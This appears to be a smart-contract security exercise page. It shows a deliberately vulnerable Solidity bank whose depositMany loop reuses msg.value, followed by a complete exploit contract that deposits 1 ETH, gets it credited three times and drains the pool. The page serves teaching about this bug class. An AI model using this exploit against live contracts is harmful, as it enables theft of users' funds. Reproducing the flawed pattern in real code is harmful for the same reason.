Multi Token Bank
MultiTokenBank
is a bank accepting ETH
and any ERC20
token.
Alice and Bob each has deposited 1 ETH
.
import "./IERC20.sol";
contract MultiTokenBank {
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
mapping(address => mapping(address => uint)) balances;
function depositMany(address[] calldata _tokens, uint[] calldata _amounts)
public
payable
{
for (uint i = 0; i < _tokens.length; i++) {
deposit(_tokens[i], _amounts[i]);
}
}
function deposit(address _token, uint _amount) public payable {
if (_token == ETH) {
require(_amount == msg.value, "amount != msg.value");
} else {
IERC20(_token).transferFrom(msg.sender, address(this), _amount);
}
balances[_token][msg.sender] += _amount;
}
function withdraw(address _token, uint _amount) public {
balances[_token][msg.sender] -= _amount;
if (_token == ETH) {
payable(msg.sender).transfer(_amount);
} else {
IERC20(_token).transfer(msg.sender, _amount);
}
}
}
There are 2 ETH
(2 * 10 ** 18) in MultiTokenBank
. One ETH
from Alice, one from Bob.
Drain all of ETH
from the contract. pwn
will be given 10 ETH
.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface IMultiTokenBank {
function balances(address, address) external view returns (uint);
function depositMany(address[] calldata, uint[] calldata) external payable;
function deposit(address, uint) external payable;
function withdraw(address, uint) external;
}
contract MultiTokenBankExploit {
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
IMultiTokenBank public bank;
constructor(address _bank) {
bank = IMultiTokenBank(_bank);
}
receive() external payable {}
function pwn() external payable {
address[] memory tokens = new address[](3);
tokens[0] = ETH;
tokens[1] = ETH;
tokens[2] = ETH;
uint[] memory amounts = new uint[](3);
amounts[0] = 1e18;
amounts[1] = 1e18;
amounts[2] = 1e18;
bank.depositMany{value: 1e18}(tokens, amounts);
bank.withdraw(ETH, 3 * 1e18);
}
}
Last updated
Was this helpful?